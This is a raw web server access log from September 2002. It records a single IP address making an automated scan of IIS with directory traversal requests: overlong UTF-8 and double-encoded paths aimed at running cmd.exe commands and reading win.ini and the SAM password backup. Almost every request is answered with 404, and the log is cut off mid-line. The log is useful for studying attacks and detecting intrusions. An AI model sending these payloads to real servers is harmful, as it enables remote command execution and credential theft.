172.186.74.249 - - [15/Sep/2002:15:07:28 +0300] "OPTIONS / HTTP/1.1" 200 - 172.186.74.249 - - [15/Sep/2002:15:10:11 +0300] "GET /galaxy_33876.34222 HTTP/1.0" 404 212 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_mem_bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_vti_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:12 +0300] "HEAD /_vti_bin/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:13 +0300] "HEAD /_vti_bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_cnf/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_cnf/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_cnf/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_cnf/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_cnf/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_cnf/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_cnf/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /_vti_cnf/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /a.asp/..%c0%2f../..%c0%2f../winnt/win.ini HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /a.asp/..%c0%2f../..%c0%2f..\winnt\repair\sam._ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /a.asp/..%c0%af../..%c0%af../winnt/win.ini HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /a.asp/..%c0%af../..%c0%af..\winnt\repair\sam._ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /a.asp/..%c1%1c../..%c1%1c../winnt/win.ini HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:14 +0300] "HEAD /a.asp/..%c1%1c../..%c1%1c..\winnt\repair\sam._ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /a.asp/..%c1%9c../..%c1%9c../winnt/win.ini HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /a.asp/..%c1%9c../..%c1%9c..\winnt\repair\sam._ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /adsamples/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /adsamples/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /adsamples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /adsamples/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /adsamples/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /adsamples/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /adsamples/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /adsamples/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:15 +0300] "HEAD /bin/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /bin/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /bin/scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /bin/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi-bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi-bin/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi-bin/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:16 +0300] "HEAD /cgi-bin/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /cgi-bin/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /cgi-bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /cgi-bin/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /exchange/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /exchange/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /exchange/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /exchange/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /exchange/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /exchange/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /exchange/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /exchange/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /msadc/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /msadc/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /msadc/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:17 +0300] "HEAD /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /bin/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:18 +0300] "HEAD /msadc/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /msadc/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /PBServer/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /PBServer/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /PBServer/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /PBServer/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /PBServer/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /bin/scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /PBServer/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /PBServer/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /PBServer/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /Rpc/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /Rpc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /bin/scripts/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /Rpc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /Rpc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /cgi/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /bin/scripts/..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /cgi/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /Rpc/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /Rpc/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /Rpc/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /Rpc/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:19 +0300] "HEAD /samples/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /samples/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /samples/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /samples/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /samples/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /samples/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /script/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /script/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /script/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /script/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c1%1c..%c1%1c..%c1%1c..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c1%9c..%c1%9c..%c1%9c..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c1%9f../..%c1%9f../..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/..%c1%9f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:20 +0300] "HEAD /scripts/check.bat/..%c0%2f..%c0%2f..%c0%2fwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:21 +0300] "HEAD /scripts/check.bat/..%c0%af..%c0%af..%c0%afwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:21 +0300] "HEAD /scripts/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:21 +0300] "HEAD /scripts/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c%20dir%20C:\ HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:22 +0300] "HEAD /samples/check.bat/..%c1%1c..%c1%1c..%c1%1cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:22 +0300] "HEAD /samples/check.bat/..%c1%9c..%c1%9c..%c1%9cwinnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 0 172.186.74.249 - - [15/Sep/2002:15:10:25 +0300] "HEAD /_mem_bin/..%%35%63../..%%35%63../..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 0 172.186.74.249 - - [15/Sep/2002:15:10:26 +0300] "HEAD 